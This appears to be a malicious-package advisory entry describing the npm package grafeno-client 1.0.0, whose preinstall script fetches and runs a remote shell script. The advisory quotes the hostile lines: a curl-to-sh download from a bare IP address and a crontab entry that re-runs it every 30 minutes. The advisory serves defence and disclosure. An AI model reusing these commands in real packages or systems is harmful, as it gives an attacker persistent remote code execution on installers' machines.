MAL-2026-15503

    Dashboard / Malicious Package / MAL-2026-15503

    MAL-2026-15503

    Published: 28 Aug 2026Last Modified: 28 Aug 2026

    Summary: Malicious code in grafeno-client (npm)

    Details: Source: amazon-inspector (61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6) package.json declares a preinstall script that runs curl against a bare IP over plain HTTP (http://216.126.236.46/x.sh) and pipes the response to sh, giving the remote host arbitrary code execution on the installer at npm install time. The same preinstall appends a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh|sh) that re-fetches and re-executes the remote script every 30 minutes, establishing persistence that survives removal of the npm package. The shipped index.js is a stub, so the manifest is the entire payload.

    References: https://www.npmjs.com/package/grafeno-client/v/1.0.0

    Affected packages

    Package

    Name: grafeno-client

    Purl: pkg:npm/grafeno-client

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0
    MAL-2026-15503 | CVE-DB